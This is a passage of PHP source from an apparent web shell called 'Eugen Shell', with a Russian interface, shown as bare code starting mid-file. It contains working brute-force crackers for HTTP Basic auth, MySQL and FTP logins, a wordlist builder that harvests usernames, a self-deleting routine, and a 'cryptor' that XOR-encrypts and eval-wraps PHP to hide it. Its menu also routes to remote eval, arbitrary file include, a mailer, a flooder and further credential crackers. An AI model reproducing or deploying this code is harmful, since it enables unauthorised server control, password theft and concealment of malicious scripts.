    \r\n"; if (!isset($_REQUEST['confirm'])) { echo "$et"; } if (isset($_REQUEST['confirm'])) { unlink($_SERVER['SCRIPT_FILENAME']); echo ""; } } function dicmaker(){ global $errorbox,$windows,$footer,$t,$et,$hcwd; if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0; if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ $min = $_REQUEST['min']; $max = $_REQUEST['max']; if($max<$min)die($errorbox ."Неверный ввод!$et". $footer); $s =$w=""; $out = $_REQUEST['output']; $r = ($_REQUEST['range']=='a' )?'a':'A'; if ($_REQUEST['range']==0) $r=0; for($i=0;$i<$min;$i++) $s.=$r; $dic = fopen($out,'a'); if(is_nan($r)){ while(strlen($s)<=$max){ $w = $s; if($combo)$w="$w:$w"; fwrite($dic,$w."\n"); $s++;} } else{ while(strlen($w)<=$max){ $w =(string)str_repeat("0",($min - strlen($s))).$s; if($combo)$w="$w:$w"; fwrite($dic,$w."\n"); $s++;} } fclose($dic); echo "Готово!"; } if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ $input=fopen($_REQUEST['input'],'r'); if (!$input){ if ($windows)echo $errorbox. "Невозможно считать с ".htmlspecialchars($_REQUEST['input']) ."$et
    "; else{ $input=explode("\n",shell("cat $input")); $output=fopen($_REQUEST['output'],'w'); if ($output){ foreach ($input as $in){ $user = $in; $user = trim(fgets($in)," \n\r"); if (!strstr($user,":"))continue; $user=substr($user,0,(strpos($user,':'))); if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); } fclose($input);fclose($output); echo "Готово!"; } } } else{ $output=fopen($_REQUEST['output'],'w'); if ($output){ while (!feof($input)){ $user = trim(fgets($input)," \n\r"); if (!strstr($user,":"))continue; $user=substr($user,0,(strpos($user,':'))); if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); } fclose($input);fclose($output); echo "Готово!"; } else echo $errorbox." Невозможно записать в ".htmlspecialchars($_REQUEST['input']) ."$et
    "; } }elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ $res=downloadit($_REQUEST['url'],$_REQUEST['output']); if($combo && $res){ $file=file($_REQUEST['output']); $output=fopen($_REQUEST['output'],'w'); foreach ($file as $v)fwrite($output,"$v:$v\n"); fclose($output); } echo "Готово!"; }else{ $temp=whereistmp(); echo "
    ${t}Генератор слов:
    Промежуток:
    Мин. длина:
    Макс. длина:
    Сохранить в:
    Вывод в Combo-стиле
    $hcwd

    ${t}Сграбить словарь:
    Откуда:
    Сохранить в:
    Вывод в Combo-стиле
    $hcwd

    ${t}Загрузить словарь:
    URL:
    Сохранить в:
    Вывод в Combo-стиле
    $hcwd
    ";} } function calc(){ global $t,$et,$hcwd; $fu = array('-','md5','sha1','crc32','hex','ip2long','long2ip','base64_encode','base64_decode','urldecode','urlencode'); if (!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){ echo "
    ${t}Вывод:
    $et

    "; } echo "
    ${t}Конвертер:
    Ввод:
    Задание:
    "; } function authcracker(){ global $errorbox,$et,$t,$crack,$hcwd; if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ $data=''; $method=($_REQUEST['method'])?'POST':'GET'; if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} list($host)=explode("/",$_REQUEST['target']); $page=substr($_REQUEST['target'],strpos($_REQUEST['target'],"/")+1); $type=$_REQUEST['combo']; $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; if($method='GET')$page.=$data; $dictionary=fopen($_REQUEST['dictionary'],'r') or exit('Dictionary error'); echo ""; while(!feof($dictionary)){ if($type){ $combo=trim(fgets($dictionary)," \r\n"); $user=substr($combo,0,strpos($combo,':')); $pass=substr($combo,strpos($combo,':')+1); }else{ $pass=trim(fgets($dictionary)," \n\r"); } $so=fsockopen($host,80,$en,$es,8); if(!$so){echo "$errorbox Нет связи$et";break;} else{ $packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data); $packet.="\r\n\r\n"; $packet.=$data; fputs($so,$packet); $res=substr(fgets($so),9,2); fclose($so); if($res=='20')echo "U: $user P: $pass
    "; flusher(); } } echo "Готово!
    "; }else echo "
    ${t}Брут HTTP-авторизации:
    Словарь:
    Тип словаря:Simple (P)Combo (U:P)
    Имя:
    Сервер:
    $hcwd
    "; } function sqlcracker(){ global $errorbox,$t,$et,$crack; if (!function_exists("mysql_connect")){ echo "$errorbox Server does not support MySQL$et"; } else{ if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ $target=$_REQUEST['target']; $type=$_REQUEST['combo']; $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; $dictionary=fopen($_REQUEST['dictionary'],'r'); if ($dictionary){ echo "Ломаем ".htmlspecialchars($target)."...
    "; while(!feof($dictionary)){ if($type){ $combo=trim(fgets($dictionary)," \n\r"); $user=substr($combo,0,strpos($combo,':')); $pass=substr($combo,strpos($combo,':')+1); }else{ $pass=trim(fgets($dictionary)," \n\r"); } $sql=@mysql_connect($target,$user,$pass); if($sql){echo "U: $user P: $pass (Подключиться)
    ";mysql_close($sql);if(!$type)break;} flusher(); } echo "
    Готово!
    "; fclose($dictionary); } else{ echo "$errorbox Невозможно открыть словарь.$et"; } } else{ echo "
    ${t}MySQL брут:$crack"; } } } function ftpcracker(){ global $errorbox,$t,$et,$crack; if (!function_exists("ftp_connect"))echo "$errorbox Сервер не поддерживает FTP функций$et"; else{ if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ $target=$_REQUEST['target']; $type=$_REQUEST['combo']; $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; $dictionary=fopen($_REQUEST['dictionary'],'r'); if ($dictionary){ echo "Ломаем ".htmlspecialchars($target)."...
    "; while(!feof($dictionary)){ if($type){ $combo=trim(fgets($dictionary)," \n\r"); $user=substr($combo,0,strpos($combo,':')); $pass=substr($combo,strpos($combo,':')+1); }else{ $pass=trim(fgets($dictionary)," \n\r"); } if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Невозможно подключиться к серверу.$et";break;} if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass
    ";if(!$type)break;} ftp_close($ftp); flusher(); } echo "
    Готово!
    "; fclose($dictionary); } else{ echo "$errorbox Невозможно открыть словарь.$et"; } } else echo "
    ${t}FTP брут:$crack"; }} function openit($name){ $ext=strtolower(substr($name,strrpos($name,'.')+1)); $src=array('php','php3','php4','phps','phtml','phtm','inc'); if(in_array($ext,$src)) { echo "
    "; highlight_file($name); echo "
    "; } else echo "
    ".htmlspecialchars(file_get_contents($name))."
    "; } function proxycheck() { global $et,$msgbox; $file=$_REQUEST['file']; echo $msgbox; if (!isset($file) || empty($file)) { ?>
    Введите прокси


    Пожалуйста, не закрывайте окно браузера до окончания проверки!
    "; echo "
    Всего проксей: $vse



    "; foreach($proxy as $index => $proxy ) { if(isset($proxy) && !empty($proxy)) { $prox = explode (":",$proxy); $addr=gethostbyname($prox[0]); $prox[1] = str_replace("\r","",$prox[1]); $prox[1] = str_replace("\n","",$prox[1]); $fp = fsockopen($addr,$prox[1], $errno, $errstr, $timeout); ob_implicit_flush(); if(!$fp) { ob_implicit_flush(); echo "$proxy не работает...
    "; } else { ob_implicit_flush(); echo "$proxy работает!
    "; $good .= $proxy."
    "; } } } $time = time (); $end_time = $time - $start ; echo "Затрачено времени: $end_time сек.
    "; echo "Хорошие прокси:

    $good"; } echo $et; } if ($_REQUEST['sec'] == 'cryptphp') { global $msgbox,$et; if (!isset($_GET['crypt']) || empty($HTTP_POST_FILES['file'])) { ?> Eugen Shell - <?=getcwd();?>

    Системная дата:

    Криптор PHP скриптов


    " method="post" enctype="multipart/form-data"> Загрузите ваш скрипт:
    (Разрешённые расширения: php, php3, php4, php5)
     
    Загруженный файл не является РНР скриптом!"); } $input = $_FILES['file']['tmp_name']; $f=join("", file($input)); $key = rand(1,99); $new = '';$len=strlen($f); for($i=0;$i<$len;$i++) { $new .= chr(ord($f[$i]) ^ $key); } $new=str_replace("\"","\\\"",$new); $new=str_replace("\$","\\$",$new); $kaka1=rand(0,99); $kaka2=rand(0,99); $kaka3=rand(0,99); $kaka4=rand(0,99); $kaka5=rand(0,99); $kaka6=rand(0,99); $kaka7=rand(0,99); $kaka8=rand(0,99); $kaka9=rand(0,99); $code1 = base64_encode(gzdeflate("\$k".$kaka1."e".$kaka2."y".$kaka3."_t".$kaka4."h".$kaka5."a".$kaka6."t".$kaka7."_".$kaka8."s".$kaka9."c".$kaka2."r".$kaka3."i".$kaka4."p".$kaka5."t".$kaka6."_".$kaka7."i".$kaka8."s".$kaka9."_".$kaka3."c".$kaka4."r".$kaka5."y".$kaka6."p".$kaka7."t".$kaka8."e".$kaka9."d".$kaka4."=".$key.";\$r".$kaka2."e".$kaka4."s".$kaka6."o".$kaka8."u".$kaka1."r".$kaka3."c".$kaka5."e_c".$kaka7."r".$kaka9."y".$kaka1."p".$kaka2."t".$kaka3."e".$kaka4."d_c".$kaka5."o".$kaka6."d".$kaka7."e".$kaka8."=\"".$new."\";\$s".$kaka1."t".$kaka3."r".$kaka5."i".$kaka7."n".$kaka9."g_o".$kaka2."u".$kaka4."t".$kaka6."p".$kaka8."u".$kaka5."t".$kaka9."=\$r".$kaka2."e".$kaka4."s".$kaka6."o".$kaka8."u".$kaka1."r".$kaka3."c".$kaka5."e_c".$kaka7."r".$kaka9."y".$kaka1."p".$kaka2."t".$kaka3."e".$kaka4."d_c".$kaka5."o".$kaka6."d".$kaka7."e".$kaka8.";\$l".$kaka9."e".$kaka8."n".$kaka7."t".$kaka6."h_o".$kaka5."f_c".$kaka4."r".$kaka3."y".$kaka2."p".$kaka1."t".$kaka8."e".$kaka7."d_c".$kaka6."o".$kaka5."d".$kaka4."e".$kaka3."=strlen(\$s".$kaka1."t".$kaka3."r".$kaka5."i".$kaka7."n".$kaka9."g_o".$kaka2."u".$kaka4."t".$kaka6."p".$kaka8."u".$kaka5."t".$kaka9.");\$e".$kaka9."v".$kaka7."a".$kaka5."l_p".$kaka3."h".$kaka1."p_c".$kaka2."o".$kaka4."d".$kaka6."e".$kaka8."='';for(\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m=0;\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m<\$l".$kaka9."e".$kaka8."n".$kaka7."t".$kaka6."h_o".$kaka5."f_c".$kaka4."r".$kaka3."y".$kaka2."p".$kaka1."t".$kaka8."e".$kaka7."d_c".$kaka6."o".$kaka5."d".$kaka4."e".$kaka3.";\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m++)\$e".$kaka9."v".$kaka7."a".$kaka5."l_p".$kaka3."h".$kaka1."p_c".$kaka2."o".$kaka4."d".$kaka6."e".$kaka8." .= chr(ord(\$s".$kaka1."t".$kaka3."r".$kaka5."i".$kaka7."n".$kaka9."g_o".$kaka2."u".$kaka4."t".$kaka6."p".$kaka8."u".$kaka5."t".$kaka9."[\$h".$kaka8."u".$kaka6."i".$kaka4."v".$kaka2."a".$kaka1."m".$kaka3."v".$kaka5."s".$kaka7."e".$kaka9."m]) ^ \$k".$kaka1."e".$kaka2."y".$kaka3."_t".$kaka4."h".$kaka5."a".$kaka6."t".$kaka7."_".$kaka8."s".$kaka9."c".$kaka2."r".$kaka3."i".$kaka4."p".$kaka5."t".$kaka6."_".$kaka7."i".$kaka8."s".$kaka9."_".$kaka3."c".$kaka4."r".$kaka5."y".$kaka6."p".$kaka7."t".$kaka8."e".$kaka9."d".$kaka4.");eval(\"?>\".\$e".$kaka9."v".$kaka7."a".$kaka5."l_p".$kaka3."h".$kaka1."p_c".$kaka2."o".$kaka4."d".$kaka6."e".$kaka8.".\""; header("Content-type: application/octet-stream"); header("Content-disposition: attachment; filename=\"crypted.".$file_ext."\";"); header("Content-length: ".strlen($code)); echo $code; exit(); } } ?> Eugen Shell - <?=getcwd();?>

    Системная дата:

    ]*?[>].*?#is","",$phpinfo); $phpinfo=preg_replace("#]*?[>].*?#is","",$phpinfo); echo $phpinfo; break; case 'edit': if (!empty($_REQUEST['open']))editor($_REQUEST['file']); if (!empty($_REQUEST['save'])){ $filehandle= fopen($_REQUEST['file'],"w"); fwrite($filehandle,$_REQUEST['edited']); fclose($filehandle);} if (!empty($_REQUEST['file'])) editor($_REQUEST['file']);else editor(''); break; case 'openit':openit($_REQUEST['name']);break; case 'cr': cracker();break; case 'dic':dicmaker();break; case 'whois':whois();break; case 'hex':hexview();break; case 'img':showimage($_REQUEST['file']);break; case 'inc':include ($_REQUEST['file']);break; case 'hc':hashcracker();break; case 'fcr':formcracker();break; case 'snmp':snmpcracker();break; case 'sql':sqlcracker();break; case 'auth':authcracker();break; case 'pop3':pop3cracker();break; case 'imap':imapcracker();break; case 'smtp':smtpcracker();break; case 'ftp':ftpcracker();break; case 'eval':phpeval();break; case 'http':http();break; case 'px':proxy();break; case 'webshell':webshell();break; case 'mailer':mailer();break; case 'tools':tools();break; case 'asm':safemode();break; case 'icq':icqbrute();break; case 'code':calc();break; case 'chmod':cm();break; case 'selfremove':selfremove();break; case 'hash':code();break; case 'fflooder':fflooder();break; case 'calc':calc();break; case 'sysinfo':sysinfo();break; case 'mbr':mrabrute();break; case 'checksum':checksum($_REQUEST['file']);break; case 'prc':proxycheck();break; case 'about':echo $intro;break; default: filemanager(); }}else { filemanager(); } echo $footer; ?>